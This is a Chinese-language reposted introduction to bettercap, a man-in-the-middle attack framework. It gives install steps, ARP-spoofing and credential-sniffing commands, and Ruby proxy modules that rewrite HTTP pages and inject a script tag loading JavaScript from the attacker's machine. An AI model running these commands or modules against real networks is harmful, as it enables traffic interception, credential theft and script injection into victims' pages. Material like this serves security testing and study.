完整,模塊化,輕量級,易擴展的MITM框架 – bettercap

jopen 9年前發布 | 20K 次閱讀 bettercap 安全相關

bettercap是一款完整,模塊化,輕量級,易擴展的中間人攻擊測試工具和框架。

安裝

穩定版本( GEM

gem install bettercap

源碼編譯

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

所有的依賴庫都會通過GEM自動安裝。為了保證正常運行,在某些情況下你可能需要安裝一些系統依賴

sudo apt-get install ruby-dev libpcap-dev

你為什么需要bettercap

另一個中間人攻擊工具?這是真的呢!!

這不正是你現在正在想的么?好了現在給你5分鐘時間思考,或許你會這么問:

一款完整,模塊化,輕量級,易擴展的中間人攻擊工具和框架真的存在么?

如果你的回答是“ettercap”,那么讓我來告訴你一些事:

1.ettercap是一款不可多得的工具,但已經過時了。
2.我們發現ettercap的過濾十分簡單,已經成為了過去式。并且也沒有那么多的C開發者愿意繼續維護這個項目。
3.ettercap在大網絡下十分不穩定,如果你嘗試在大型網絡使用ettercap的主機探索功能,你就知道有多蛋疼了。
4.對的,你可以看到連接和raw pcap。很漂亮的一款玩具,但是作為一名專用人員我只想看到我想要的東西。
5.除非你是一名C\C++開發者,那么你不能夠輕松擴展ettercap,更別談什么制作自己的模塊了。

事實上你使用的不僅僅是一款工具,或許還會使用到arpspoof進行Arp欺騙,mitmproxy攔截HTTP內容并注入你的payload等等。對于我來說,我很討厭進行一項簡單的攻擊卻需要使用一大堆的工具來進行操作。

所以bettercap誕生了!

主機發現+Arp中間人

你可以將整個本地網絡或者一個有針對性的IP地址作為目標,這都沒有關系。bettercap arp spoofing功能以及它的多個主機發現代理能夠將令人煩躁的步驟簡化。你只需要啟動工具,然后等待它完成工作。

完整,模塊化,輕量級,易擴展的MITM框架 – bettercap

憑證嗅探器

內置的嗅探器目前能夠分析打印如下網絡內容:

1.被訪問的URLs
2.被訪問過的HTTPS主機
3.HTTP發布過的數據
4.HTTP Basic認證以及摘要認證
5.FTP憑證
6.IRC憑證
7.POP, IMAP以及SMTP憑證
8.NTLMv1/v2 ( HTTP, SMB, LDAP等) 憑證

完整,模塊化,輕量級,易擴展的MITM框架 – bettercap

示例:

嗅探器默認的模式,所有解析器啟用:

sudo bettercap -X

啟用嗅探器,啟用指定解析器:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

啟用嗅探器+所有解析器,此外并解析本地通信

sudo bettercap -X -L

模塊化的透明代理

一個模塊化的透明代理,可以從使用–proxy參數開始。除非你記錄HTTP請求,在默認情況下他不會做任何事。當然你也可以指定一個–proxy-module參數,這樣你就可以加載自己的模塊,隨意操作HTTP流量咯。

你可以在我的 github項目 中找到一些示范樣列

完整,模塊化,輕量級,易擴展的MITM框架 – bettercap

示例:

默認端口(8080)啟用代理,不帶任何模塊

sudo bettercap --proxy

使用自定義端口啟用代理

sudo bettercap --proxy --proxy-port=8081

啟用代理并加載hack_title.rb模塊

sudo bettercap --proxy --proxy-module=hack_title.rb

禁用spoofer并啟用代理(獨立代理模式)

sudo bettercap -S NONE --proxy

模塊:

使用模塊你可以十分輕松的將數據注入到頁面中,下面這個簡單模塊可以將一些內容注入到html頁面的標簽中。

class HackTitle < Proxy::Module
  def on_request( request, response )    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )    end
  endend

內置HTTP服務器

你想將你自定義的JavaScript文件放到網絡上么?也許你想使用透明代理模塊將自定義腳本或圖片注入到HTTP響應中,但你沒有公共服務器可使用?這都不算事!

bettercap內置一個HTTP服務器,允許你從自己的機器上定制內容,而不需要安裝配置諸如Apache, nginx 或者lighttpd等軟件。

你需要使用proxy module模塊:

class InjectJS < Proxy::Module
  def on_request( request, response )    
  # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]      
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js'
       type='text/javascript'></script>" )
          end
  end
end

接著使用它就能將JS文件注入到HTTP響應中,使用bettercap來管理這個文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

* 參考來源 bettercap ,譯者/鳶尾 轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!